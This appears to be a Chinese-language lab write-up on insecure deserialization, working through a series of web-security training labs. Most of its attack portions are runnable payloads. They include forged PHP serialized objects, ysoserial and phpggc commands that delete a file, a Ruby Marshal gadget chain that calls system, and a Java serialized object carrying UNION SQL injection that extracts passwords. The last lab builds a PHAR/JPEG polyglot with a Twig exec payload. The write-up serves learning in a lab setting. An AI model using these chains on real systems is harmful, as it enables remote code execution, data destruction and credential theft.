修改序列化对象

image-20221225190246311

image-20221226161837945

O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d

image-20221226162220197

image-20221226162241447

image-20221226162338968

image-20221226162348131

修改序列化数据类型

image-20221226163911355

image-20221226163902816

<@base64url>O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}<@/base64url>

image-20221226165310946

image-20221226165351685

用应用程序功能来利用不安全的反序列化

image-20221226170804941

<@base64url>O:4:"User":3:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"v02r4gwi0w62akba0l5ltkth9130fl6m";s:11:"avatar_link";s:23:"/home/carlos/morale.txt";}<@/base64url>

image-20221226171302497

PHP 中的任意对象注入

image-20221226175911861

image-20221226181203553

可以通过~ 获取源码

image-20221226181258197

<?php

class CustomTemplate {
private $template_file_path;
private $lock_file_path;

public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
$this->lock_file_path = $template_file_path . ".lock";
}

private function isTemplateLocked() {
return file_exists($this->lock_file_path);
}

public function getTemplate() {
return file_get_contents($this->template_file_path);
}

public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lock_file_path, "") === false) {
throw new Exception("Could not write to " . $this->lock_file_path);
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}

function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
}

?>
<?php

class CustomTemplate {
private $lock_file_path;

public function __construct($template_file_path) {
$this->lock_file_path = "/home/carlos/morale.txt";
}

}
$o = new CustomTemplate();
echo base64_encode(serialize($o));

?>

image-20221226182240619

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjE6e3M6MzA6IgBDdXN0b21UZW1wbGF0ZQBsb2NrX2ZpbGVfcGF0aCI7czoyMzoiL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO30=

image-20221226182339401

利用 Apache Commons 进行 Java 反序列化

image-20221226183917639

image-20221226184137435

这次很明显这里是java 的反序列化

java -jar ysoserial.jar URLDNS "http://c1eqwxdb7wm92ze0bbyuc85bc2it6nuc.oastify.com" | base64 -w 0

image-20221226190359643

rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAx3CAAAABAAAAABc3IADGphdmEubmV0LlVSTJYlNzYa/ORyAwAHSQAIaGFzaENvZGVJAARwb3J0TAAJYXV0aG9yaXR5dAASTGphdmEvbGFuZy9TdHJpbmc7TAAEZmlsZXEAfgADTAAEaG9zdHEAfgADTAAIcHJvdG9jb2xxAH4AA0wAA3JlZnEAfgADeHD//////////3QALGMxZXF3eGRiN3dtOTJ6ZTBiYnl1Yzg1YmMyaXQ2bnVjLm9hc3RpZnkuY29tdAAAcQB+AAV0AARodHRwcHh0ADNodHRwOi8vYzFlcXd4ZGI3d205MnplMGJieXVjODViYzJpdDZudWMub2FzdGlmeS5jb214

image-20221226190412292

image-20221226190417438

java -jar ysoserial.jar CommonsCollections4 "rm /home/carlos/morale.txt" | base64 -w 0

image-20221226190328023

image-20221226190304491

使用预构建的小工具链利用 PHP 反序列化

image-20221226191837597

image-20221226191827235

image-20221226192229861

是个phpinfo()

image-20221226192448297

看到框架版本是 Symfony Version: 4.3.6

https://github.com/symfony/symfony/archive/refs/tags/v4.3.6.zip

下载 phpggc

https://github.com/ambionics/phpggc/archive/refs/heads/master.zip

image-20221227125809618

看到这条链其实不长

image-20221227125901087

可以 发现返回了一个 TagAwareAdapter 对象 其中两个参数分别是 数组 CacheItem 和 ProxyAdapter

也就是说反序列化的起点就是在 TagAwareAdapter

image-20221227130245307

看到只存在一个 __destruct方法

__destruct()->commit()->invalidateTags([])

image-20221227130440590

其中注意这里的 $this->deferred 是

array(
new \Symfony\Component\Cache\CacheItem(1, $parameter))

$this->pool 是

new \Symfony\Component\Cache\Adapter\ProxyAdapter(1 , $function))

遍历数组 也就是取出来一个CacheItem 对象 接着调用了

ProxyAdapter()->saveDeferred($item)

image-20221227130754826

首先这里的 CacheItemInterface $item 需要是 CacheItemInterface 类型 而我们的是 CacheItem 类型

image-20221227130905519

可以看到其中 CacheItemInterface 并不属于 Symfony 这个包里面的 因此我们需要额外下载这个 包

image-20221227131250080

可以看到实现了 ItemInterface

image-20221227131305289

ItemInterface 继承了 CacheItemInterface 那么这里当然类型就相当了

image-20221227131418821

断点处就是终点 其中 $this->setInnerItem 是我们传入的 任意方法

$innerItem 是我们传入的方法参数

image-20221227132446812

还需要让if通过 并将innerItem 赋值 也就是需要 两个 poolHash 相等 而至于为什么要使用 \0*\0

其原因主要是由于 这里的数组是通过对象转换来的 而innerItem 属性是protected 其中数组的键名会被 null*null 前缀 而 \0 代表null

image-20221227133528667

因此现在我们可以通过 phpggc 生成payload 了

./phpggc -l | grep Symfony
./phpggc Symfony/RCE4 exec "rm -rf rm /home/carlos/morale.txt" | base64 -w 0

image-20221227134747189

Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMzoicm0gLXJmIHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo= 

image-20221227135153204

需要注意的是这里还存在 sig_hmac_sha1 的签名 我们需要先寻找到secret_key

image-20221227135240222

image-20221227135336654

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czozMzoicm0gLXJmIHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0Ijt9fXM6NTM6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBwb29sIjtPOjQ0OiJTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFByb3h5QWRhcHRlciI6Mjp7czo1NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHBvb2xIYXNoIjtpOjE7czo1ODoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyAHNldElubmVySXRlbSI7czo0OiJleGVjIjt9fQo= ","sig_hmac_sha1":"169f98a7bdfe7ca650205b982a90f135fc4c1a9f"}

image-20221227135504810

使用记录的小工具链利用 Ruby 反序列化

image-20221227140036378

image-20221227140155069

可以看到是基于 ruby的

image-20221227142033399

通过搜索 可以发现 pop链

image-20221227142328542

# Autoload the required classes
Gem::SpecFetcher
Gem::Installer

# prevent the payload from running when we Marshal.dump it
module Gem
class Requirement
def marshal_dump
[@requirements]
end
end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)

注意最后一行

image-20221227143250388

BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==

image-20221227143234865

开发用于 Java 反序列化的自定义小工具链

image-20221227145544560

image-20221227145821253

发现源码

image-20221227145839409

image-20221227145848959

发现还有一个 源码

image-20221227150114198

image-20221227150202128

可以看到AccessTokenUser 实现了 Serialize 接口 说明可以被反序列化

image-20221227150410127

这里存在 也可以反序列化 并且存在 readObject() 方法 并且在断点处存在一处 sql注入

稍微处理一下 ProductTemplate.java文件 生成 序列化对象

package data.productcatalog;

import java.io.Serializable;


public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;

private final String id;

public ProductTemplate(String id)
{
this.id = id;
}


}

Test.java

import data.productcatalog.ProductTemplate;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class Test {
public static void main(String[] args) throws Exception {
ProductTemplate productTemplate = new ProductTemplate("'");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(productTemplate);
byte[] bytes = byteArrayOutputStream.toByteArray();
Base64.Encoder encoder = Base64.getEncoder();
String s = encoder.encodeToString(bytes);
System.out.println(s);
}
}

image-20221227151814861

rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAASc=

image-20221227151828488

image-20221227151900467

image-20221227151919343

image-20221227153515455

这里可以发现 这里是 1 的16进制

尝试注入

' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL--

image-20221227155312481

' UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL--

image-20221227155333413

所以总共八列

' UNION SELECT NULL,NULL,'a',NULL,NULL,NULL,NULL,NULL--

image-20221227155614419

' UNION SELECT NULL,NULL,NULL,'a',NULL,NULL,NULL,NULL--

image-20221227155548177

所以第四列不是字符串

' UNION SELECT NULL,NULL,NULL,cast(table_name as numeric),NULL,NULL,NULL,NULL from information_schema.tables--

image-20221227161105168

' UNION SELECT NULL,NULL,NULL,cast(column_name as numeric),NULL,NULL,NULL,NULL from information_schema.columns where table_name='users'--

image-20221227161230043

' UNION SELECT NULL,NULL,NULL,cast((select column_name from information_schema.columns where table_name='users' limit 1 offset 1) as numeric),NULL,NULL,NULL,NULL from users--

image-20221227162116864

' UNION SELECT NULL,NULL,NULL,cast(password as numeric),NULL,NULL,NULL,NULL from users--

image-20221227162207141

image-20221227162343093

开发用于 PHP 反序列化的自定义小工具链

image-20221227163754506

image-20221227163803745

<?php

class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;

public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}

public function __sleep() {
return ["default_desc_type", "desc"];
}

public function __wakeup() {
$this->build_product();
}

private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}

class Product {
public $desc;

public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}

class Description {
public $HTML_DESC;
public $TEXT_DESC;

public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}

class DefaultMap {
private $callback;

public function __construct($callback) {
$this->callback = $callback;
}

public function __get($name) {
return call_user_func($this->callback, $name);
}
}

?>

简单构造一下

<?php

class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;

public function __construct($desc_type='HTML_DESC') {
$this->desc = new DefaultMap('system');
$this->default_desc_type = 'rm /home/carlos/morale.txt';
}

}

class Product {
public $desc;

public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}


class DefaultMap {
private $callback;

public function __construct($callback) {
$this->callback = $callback;
}

}
$f = new CustomTemplate();
echo base64_encode(serialize($f));
?>
CustomTemplate->__wakeup()->build_product()  Product-> __construct($default_desc_type, $desc)  DefaultMap->__get($name)

image-20221227170619944

TzoxNDoiQ3VzdG9tVGVtcGxhdGUiOjM6e3M6MzM6IgBDdXN0b21UZW1wbGF0ZQBkZWZhdWx0X2Rlc2NfdHlwZSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO3M6MjA6IgBDdXN0b21UZW1wbGF0ZQBkZXNjIjtPOjEwOiJEZWZhdWx0TWFwIjoxOntzOjIwOiIARGVmYXVsdE1hcABjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31zOjc6InByb2R1Y3QiO047fQ==

image-20221227170703450

使用 PHAR 反序列化部署自定义小工具链

image-20221227170836587

image-20221227170914116

image-20221227171003498

CustomTemplate.php

<?php

class CustomTemplate {
private $template_file_path;

public function __construct($template_file_path) {
$this->template_file_path = $template_file_path;
}

private function isTemplateLocked() {
return file_exists($this->lockFilePath());
}

public function getTemplate() {
return file_get_contents($this->template_file_path);
}

public function saveTemplate($template) {
if (!isTemplateLocked()) {
if (file_put_contents($this->lockFilePath(), "") === false) {
throw new Exception("Could not write to " . $this->lockFilePath());
}
if (file_put_contents($this->template_file_path, $template) === false) {
throw new Exception("Could not write to " . $this->template_file_path);
}
}
}

function __destruct() {
// Carlos thought this would be a good idea
@unlink($this->lockFilePath());
}

private function lockFilePath()
{
return 'templates/' . $this->template_file_path . '.lock';
}
}

?>

Blog.php

<?php

require_once('/usr/local/envs/php-twig-1.19/vendor/autoload.php');

class Blog {
public $user;
public $desc;
private $twig;

public function __construct($user, $desc) {
$this->user = $user;
$this->desc = $desc;
}

public function __toString() {
return $this->twig->render('index', ['user' => $this->user]);
}

public function __wakeup() {
$loader = new Twig_Loader_Array([
'index' => $this->desc,
]);
$this->twig = new Twig_Environment($loader);
}

public function __sleep() {
return ["user", "desc"];
}
}

?>

生成链

<?php


function generate_base_phar($o, $prefix){
global $tempname;
@unlink($tempname);
$phar = new Phar($tempname);
$phar->startBuffering();
$phar->addFromString("test.txt", "test");
$phar->setStub("$prefix<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->stopBuffering();

$basecontent = file_get_contents($tempname);
@unlink($tempname);
return $basecontent;
}

function generate_polyglot($phar, $jpeg){
$phar = substr($phar, 6); // remove <?php dosent work with prefix
$len = strlen($phar) + 2; // fixed
$new = substr($jpeg, 0, 2) . "\xff\xfe" . chr(($len >> 8) & 0xff) . chr($len & 0xff) . $phar . substr($jpeg, 2);
$contents = substr($new, 0, 148) . " " . substr($new, 156);

// calc tar checksum
$chksum = 0;
for ($i=0; $i<512; $i++){
$chksum += ord(substr($contents, $i, 1));
}
// embed checksum
$oct = sprintf("%07o", $chksum);
$contents = substr($contents, 0, 148) . $oct . substr($contents, 155);
return $contents;
}

class Blog {
public $user;
public $desc;
public function __construct()
{
$this->desc='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("rm /home/carlos/morale.txt")}}';
$this->user='user';
}
}

class CustomTemplate
{
private $template_file_path;

public function __construct($template_file_path)
{
$this->template_file_path = $template_file_path;
}
}
$b = new Blog();
$object = new CustomTemplate($b);


// config for jpg
$tempname = 'temp.tar.phar'; // make it tar
$jpeg = file_get_contents('wanan.jpg');
$outfile = 'out.jpg';
$payload = $object;
$prefix = '';

var_dump(serialize($object));


// make jpg
file_put_contents($outfile, generate_polyglot(generate_base_phar($payload, $prefix), $jpeg));

需要先修改php.ini

image-20221227192606252

需要有一张基准 jpg图片

image-20221227193619777

上传

image-20221227193644930

/cgi-bin/avatar.php?avatar=phar://wiener

触发反序列化

image-20221227193744640